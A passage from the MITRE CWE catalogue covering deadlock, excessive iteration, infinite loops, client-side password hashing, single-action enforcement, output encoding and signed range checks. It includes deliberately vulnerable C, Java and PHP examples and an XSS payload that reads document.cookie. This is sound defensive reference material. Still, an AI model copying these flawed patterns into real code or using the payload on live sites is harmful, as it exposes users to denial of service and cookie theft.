*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	2118

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart	


Scope	Impact	Likelihood
	<i>Each thread of execution will "hang" and prevent tasks from completing. In some cases, CPU consumption may occur if a lock check occurs in a tight loop.</i>	

### Observed Examples

Reference	Description
<b>CVE-1999-1476</b>	A bug in some Intel Pentium processors allow DoS (hang) via an invalid "CMPXCHG8B" instruction, causing a deadlock <a href="https://www.cve.org/CVERecord?id=CVE-1999-1476">https://www.cve.org/CVERecord?id=CVE-1999-1476</a>
<b>CVE-2009-2857</b>	OS deadlock <a href="https://www.cve.org/CVERecord?id=CVE-2009-2857">https://www.cve.org/CVERecord?id=CVE-2009-2857</a>
<b>CVE-2009-1961</b>	OS deadlock involving 3 separate functions <a href="https://www.cve.org/CVERecord?id=CVE-2009-1961">https://www.cve.org/CVERecord?id=CVE-2009-1961</a>
<b>CVE-2009-2699</b>	deadlock in library <a href="https://www.cve.org/CVERecord?id=CVE-2009-2699">https://www.cve.org/CVERecord?id=CVE-2009-2699</a>
<b>CVE-2009-4272</b>	deadlock triggered by packets that force collisions in a routing table <a href="https://www.cve.org/CVERecord?id=CVE-2009-4272">https://www.cve.org/CVERecord?id=CVE-2009-4272</a>
<b>CVE-2002-1850</b>	read/write deadlock between web server and script <a href="https://www.cve.org/CVERecord?id=CVE-2002-1850">https://www.cve.org/CVERecord?id=CVE-2002-1850</a>
<b>CVE-2004-0174</b>	web server deadlock involving multiple listening connections <a href="https://www.cve.org/CVERecord?id=CVE-2004-0174">https://www.cve.org/CVERecord?id=CVE-2004-0174</a>
<b>CVE-2009-1388</b>	multiple simultaneous calls to the same function trigger deadlock. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1388">https://www.cve.org/CVERecord?id=CVE-2009-1388</a>
<b>CVE-2006-5158</b>	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833). <a href="https://www.cve.org/CVERecord?id=CVE-2006-5158">https://www.cve.org/CVERecord?id=CVE-2006-5158</a>
<b>CVE-2006-4342</b>	deadlock when an operation is performed on a resource while it is being removed. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4342">https://www.cve.org/CVERecord?id=CVE-2006-4342</a>
<b>CVE-2006-2374</b>	Deadlock in device driver triggered by using file handle of a related device. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2374">https://www.cve.org/CVERecord?id=CVE-2006-2374</a>
<b>CVE-2006-2275</b>	Deadlock when large number of small messages cannot be processed quickly enough. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2275">https://www.cve.org/CVERecord?id=CVE-2006-2275</a>
<b>CVE-2005-3847</b>	OS kernel has deadlock triggered by a signal during a core dump. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3847">https://www.cve.org/CVERecord?id=CVE-2005-3847</a>
<b>CVE-2005-3106</b>	Race condition leads to deadlock. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3106">https://www.cve.org/CVERecord?id=CVE-2005-3106</a>
<b>CVE-2005-2456</b>	Chain: array index error (CWE-129) leads to deadlock (CWE-833) <a href="https://www.cve.org/CVERecord?id=CVE-2005-2456">https://www.cve.org/CVERecord?id=CVE-2005-2456</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2159

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK08-J		Ensure actively held locks are released on exceptional conditions

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-783]Robert C. Seacord. "Secure Coding in C and C++". 2006. Addison Wesley.

## CWE-834: Excessive Iteration

**Weakness ID** : 834  
**Structure** : Simple  
**Abstraction** : Class

### Description

The product performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.

### Extended Description

If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the product or its host system; it depends on the amount of resources consumed per iteration.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420
ParentOf	⊖	674	Uncontrolled Recursion	1391
ParentOf	⊖	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1636
ParentOf	⊖	1322	Use of Blocking Code in Single-threaded, Non-blocking Context	2033
CanFollow	⊖	606	Unchecked Input for Loop Condition	1278
CanFollow	⊖	1339	Insufficient Precision or Accuracy of a Real Number	2064

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	⊖	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1636

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

Scope	Impact	Likelihood
	DoS: Resource Consumption (Memory) DoS: Amplification DoS: Crash, Exit, or Restart  <i>Excessive looping will cause unexpected consumption of resources, such as CPU cycles or memory. The product's operation may slow down, or cause a long time to respond. If limited resources such as memory are consumed for each iteration, the loop may eventually cause a crash or program exit due to exhaustion of resources, such as an out-of-memory error.</i>	

### Detection Methods

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Forced Path Execution

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### Observed Examples

Reference	Description
<b>CVE-2011-1027</b>	Chain: off-by-one error leads to infinite loop using invalid hex-encoded characters. <a href="https://www.cve.org/CVERecord?id=CVE-2011-1027">https://www.cve.org/CVERecord?id=CVE-2011-1027</a>
<b>CVE-2006-6499</b>	Chain: web browser crashes due to infinite loop - "bad looping logic [that relies on] floating point math [CWE-1339] to exit the loop [CWE-835]" <a href="https://www.cve.org/CVERecord?id=CVE-2006-6499">https://www.cve.org/CVERecord?id=CVE-2006-6499</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	<input checked="" type="checkbox"/>	1003 2336

### References



[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

**Weakness ID** : 835

**Structure** : Simple

**Abstraction** : Base

### Description

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.



### Extended Description

If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		834	Excessive Iteration	1634
CanFollow		1322	Use of Blocking Code in Single-threaded, Non-blocking Context	2033

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		834	Excessive Iteration	1634

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification  <i>An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.</i>	

### Demonstrative Examples

**Example 1:**

In the following code the method `processMessagesFromServer` attempts to establish a connection to a server and read and process messages from the server. The method uses a `do/while` loop to continue trying to establish the connection to the server when an attempt fails.

Example Language: C

(Bad)

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    int servsock;
    int connected;
    struct sockaddr_in servaddr;
    // create socket to connect to server
    servsock = socket( AF_INET, SOCK_STREAM, 0);
    memset( &servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr.s_addr = inet_addr(hostaddr);
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
        // keep trying to establish connection to the server
    } while (connected < 0);
    // close socket and return success or failure
    ...
}
```

However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.

Example Language: C

(Good)

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    // initialize number of attempts counter
    int count = 0;
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // increment counter
        count++;
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
        // keep trying to establish connection to the server
        // up to a maximum number of attempts
    } while (connected < 0 && count < MAX_ATTEMPTS);
    // close socket and return success or failure
    ...
}
```

### Example 2:

For this example the method `isReorderNeeded` as part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

Example Language: Java

(Bad)

```

public boolean isReorderNeeded(String bookISBN, int rateSold) {
    boolean isReorder = false;
    int minimumCount = 10;
    int days = 0;
    // get inventory count for book
    int inventoryCount = inventory.getInventoryCount(bookISBN);
    // find number of days until inventory count reaches minimum
    while (inventoryCount > minimumCount) {
        inventoryCount = inventoryCount - rateSold;
        days++;
    }
    // if number of days within reorder timeframe
    // set reorder return boolean to true
    if (days > 0 && days < 5) {
        isReorder = true;
    }
    return isReorder;
}

```

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop, as in the following code.

Example Language: Java

(Good)

```

public boolean isReorderNeeded(String bookISBN, int rateSold) {
    ...
    // validate rateSold variable
    if (rateSold < 1) {
        return isReorder;
    }
    ...
}

```

## Observed Examples

Reference	Description
<b>CVE-2022-25304</b>	A Python machine communication platform did not account for receiving a malformed packet with a null size, causing the receiving function to never update the message buffer and be caught in an infinite loop. <a href="https://www.cve.org/CVERecord?id=CVE-2022-25304">https://www.cve.org/CVERecord?id=CVE-2022-25304</a>
<b>CVE-2011-1027</b>	Chain: off-by-one error leads to infinite loop using invalid hex-encoded characters. <a href="https://www.cve.org/CVERecord?id=CVE-2011-1027">https://www.cve.org/CVERecord?id=CVE-2011-1027</a>
<b>CVE-2011-1142</b>	Chain: self-referential values in recursive definitions lead to infinite loop. <a href="https://www.cve.org/CVERecord?id=CVE-2011-1142">https://www.cve.org/CVERecord?id=CVE-2011-1142</a>
<b>CVE-2011-1002</b>	NULL UDP packet is never cleared from a queue, leading to infinite loop. <a href="https://www.cve.org/CVERecord?id=CVE-2011-1002">https://www.cve.org/CVERecord?id=CVE-2011-1002</a>
<b>CVE-2006-6499</b>	Chain: web browser crashes due to infinite loop - "bad looping logic [that relies on] floating point math [CWE-1339] to exit the loop [CWE-835]" <a href="https://www.cve.org/CVERecord?id=CVE-2006-6499">https://www.cve.org/CVERecord?id=CVE-2006-6499</a>
<b>CVE-2010-4476</b>	Floating point conversion routine cycles back and forth between two different values. <a href="https://www.cve.org/CVERecord?id=CVE-2010-4476">https://www.cve.org/CVERecord?id=CVE-2010-4476</a>
<b>CVE-2010-4645</b>	Floating point conversion routine cycles back and forth between two different values. <a href="https://www.cve.org/CVERecord?id=CVE-2010-4645">https://www.cve.org/CVERecord?id=CVE-2010-4645</a>
<b>CVE-2010-2534</b>	Chain: improperly clearing a pointer in a linked list leads to infinite loop.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2010-2534">https://www.cve.org/CVERecord?id=CVE-2010-2534</a>
<b>CVE-2013-1591</b>	Chain: an integer overflow (CWE-190) in the image size calculation causes an infinite loop (CWE-835) which sequentially allocates buffers without limits (CWE-1325) until the stack is full. <a href="https://www.cve.org/CVERecord?id=CVE-2013-1591">https://www.cve.org/CVERecord?id=CVE-2013-1591</a>
<b>CVE-2008-3688</b>	Chain: A denial of service may be caused by an uninitialized variable (CWE-457) allowing an infinite loop (CWE-835) resulting from a connection to an unresponsive server. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3688">https://www.cve.org/CVERecord?id=CVE-2008-3688</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCSM	ASCSM- CWE-835		

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-836: Use of Password Hash Instead of Password for Authentication

**Weakness ID** : 836

**Structure** : Simple

**Abstraction** : Base

### Description

The product records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.

### Extended Description



Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.

As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087
PeerOf		602	Client-Side Enforcement of Server-Side Security	1271

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2268

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>An attacker could bypass the authentication routine without knowing the original password.</i>	

## Observed Examples

Reference	Description
<b>CVE-2009-1283</b>	Product performs authentication with user-supplied password hashes that can be obtained from a separate SQL injection vulnerability (CVE-2009-1282). <a href="https://www.cve.org/CVERecord?id=CVE-2009-1283">https://www.cve.org/CVERecord?id=CVE-2009-1283</a>
<b>CVE-2005-3435</b>	Product allows attackers to bypass authentication by obtaining the password hash for another user and specifying the hash in the pwd argument. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3435">https://www.cve.org/CVERecord?id=CVE-2005-3435</a>

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
644	Use of Captured Hashes (Pass The Hash)
652	Use of Known Kerberos Credentials

## CWE-837: Improper Enforcement of a Single, Unique Action

**Weakness ID** : 837

**Structure** : Simple

**Abstraction** : Base

### Description

The product requires that an actor should only be able to perform an action once, or to have only one unique action, but the product does not enforce or improperly enforces this restriction.


### Extended Description

In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the product.



### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		799	Improper Control of Interaction Frequency	1582

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120
MemberOf		840	Business Logic Errors	2153

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	<i>An attacker might be able to gain advantage over other users by performing the action multiple times, or affect the correctness of the product.</i>	

### Observed Examples

Reference	Description
<b>CVE-2008-0294</b>	Ticket-booking web application allows a user to lock a seat more than once. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0294">https://www.cve.org/CVERecord?id=CVE-2008-0294</a>
<b>CVE-2005-4051</b>	CMS allows people to rate downloads by voting more than once. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4051">https://www.cve.org/CVERecord?id=CVE-2005-4051</a>
<b>CVE-2002-216</b>	Polling software allows people to vote more than once by setting a cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2002-216">https://www.cve.org/CVERecord?id=CVE-2002-216</a>
<b>CVE-2003-1433</b>	Chain: lack of validation of a challenge key in a game allows a player to register multiple times and lock other players out of the game. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1433">https://www.cve.org/CVERecord?id=CVE-2003-1433</a>
<b>CVE-2002-1018</b>	Library feature allows attackers to check out the same e-book multiple times, preventing other users from accessing copies of the e-book. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1018">https://www.cve.org/CVERecord?id=CVE-2002-1018</a>
<b>CVE-2009-2346</b>	Protocol implementation allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many message exchanges. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2346">https://www.cve.org/CVERecord?id=CVE-2009-2346</a>

## CWE-838: Inappropriate Encoding for Output Context

**Weakness ID** : 838  
**Structure** : Simple  
**Abstraction** : Base

## Description

The product uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.

## Extended Description

This weakness can cause the downstream component to use a decoding method that produces different data than what the product intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were not sent by the product. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.

While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.


For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding.

While web applications have received the most attention for this problem, this weakness could potentially apply to any type of product that uses a communications stream that could support multiple encodings.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		116	Improper Encoding or Escaping of Output	272

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		116	Improper Encoding or Escaping of Output	272

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Execute Unauthorized Code or Commands	
Availability		



Scope	Impact	Likelihood
	An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.	

## Potential Mitigations

### Phase: Implementation

*Strategy = Output Encoding*

Use context-aware encoding. That is, understand which encoding is being used by the downstream component, and ensure that this encoding is used. If an encoding can be specified, do so, instead of assuming that the default encoding is the same as the default being assumed by the downstream component.

### Phase: Architecture and Design

*Strategy = Output Encoding*

Where possible, use communications protocols or data formats that provide strict boundaries between control and data. If this is not feasible, ensure that the protocols or formats allow the communicating components to explicitly state which encoding/decoding method is being used. Some template frameworks provide built-in support.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Note that some template mechanisms provide built-in support for the appropriate encoding.

## Demonstrative Examples

### Example 1:

This code dynamically builds an HTML page using POST data:

*Example Language: PHP*

*(Bad)*

```
$username = $_POST['username'];
$picSource = $_POST['picsource'];
$picAltText = $_POST['picalttext'];
...
echo "<title>Welcome, " . htmlentities($username) . "</title>";
echo "<img src=\"" . htmlentities($picSource) . "\" alt=\"" . htmlentities($picAltText) . "\" />";
...
```

The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the htmlentities() encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected.

For example, an attacker can set picAltText to:

*Example Language:*

*(Attack)*

```
"altTextHere' onload='alert(document.cookie)"
```

This will result in the generated HTML image tag:

*Example Language: HTML*

*(Result)*

```
<img src='pic.jpg' alt='altTextHere' onload='alert(document.cookie)' />
```

The attacker can inject arbitrary javascript into the tag due to this incorrect encoding.

### Observed Examples

Reference	Description
<b>CVE-2009-2814</b>	Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2814">https://www.cve.org/CVERecord?id=CVE-2009-2814</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	1138	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR)	1133	2239

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS13-J		Use compatible encodings on both sides of file or network IO

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
468	Generic Cross-Browser Cross-Domain Theft

### References

- [REF-786]Jim Manico. "Injection-safe templating languages". 2010 June 0. < [http://manicode.blogspot.com/2010/06/injection-safe-templating-languages\\_30.html](http://manicode.blogspot.com/2010/06/injection-safe-templating-languages_30.html) >.
- [REF-787]Dinis Cruz. "Can we please stop saying that XSS is boring and easy to fix!". 2010 September 5. < <http://diniscruz.blogspot.com/2010/09/can-we-please-stop-saying-that-xss-is.html> >.
- [REF-788]Ivan Ristic. "Canoe: XSS prevention via context-aware output encoding". 2010 September 4. < <http://blog.ivanristic.com/2010/09/introducing-canoe-context-aware-output-encoding-for-xss-prevention.html> >.
- [REF-789]Jim Manico. "What is the Future of Automated XSS Defense Tools?". 2011 March 8. < <http://software-security.sans.org/downloads/appsec-2011-files/manico-appsec-future-tools.pdf> >.
- [REF-709]Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". 2007. Syngress.
- [REF-725]OWASP. "DOM based XSS Prevention Cheat Sheet". < [http://www.owasp.org/index.php/DOM\\_based\\_XSS\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) >.
- [REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

## CWE-839: Numeric Range Comparison Without Minimum Check

**Weakness ID** : 839**Structure** : Simple**Abstraction** : Base

## Description

The product checks a value to ensure that it is less than or equal to a maximum, but it does not also verify that the value is greater than or equal to the minimum.

## Extended Description






Some products use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.

The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1023	Incomplete Comparison with Missing Factors	1731
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
CanPrecede		124	Buffer Underwrite ('Buffer Underflow')	313
CanPrecede		195	Signed to Unsigned Conversion Error	474
CanPrecede		682	Incorrect Calculation	1403

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		189	Numeric Errors	2103

## Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

## Alternate Terms

**Signed comparison** : The "signed comparison" term is often used to describe when the product uses a signed variable and checks it to ensure that it is less than a maximum value (typically a maximum buffer size), but does not verify that it is greater than 0.

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Execute Unauthorized Code or Commands	
Availability		

Scope	Impact	Likelihood
	<i>An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.</i>	
Availability	DoS: Resource Consumption (Other) <i>in some contexts, a negative value could lead to resource consumption.</i>	
Confidentiality Integrity	Modify Memory Read Memory  <i>If a negative value is used to access memory, buffers, or other indexable structures, it could access memory outside the bounds of the buffer.</i>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Enforcement by Conversion*

If the number to be used is always expected to be positive, change the variable type from signed to unsigned or size\_t.

#### Phase: Implementation

*Strategy = Input Validation*

If the number to be used could have a negative value based on the specification (thus requiring a signed value), but the number should only be positive to preserve code correctness, then include a check to ensure that the value is positive.

### Demonstrative Examples

#### Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

*Example Language: C*

*(Bad)*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size\_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

#### Example 2:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C

(Bad)

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
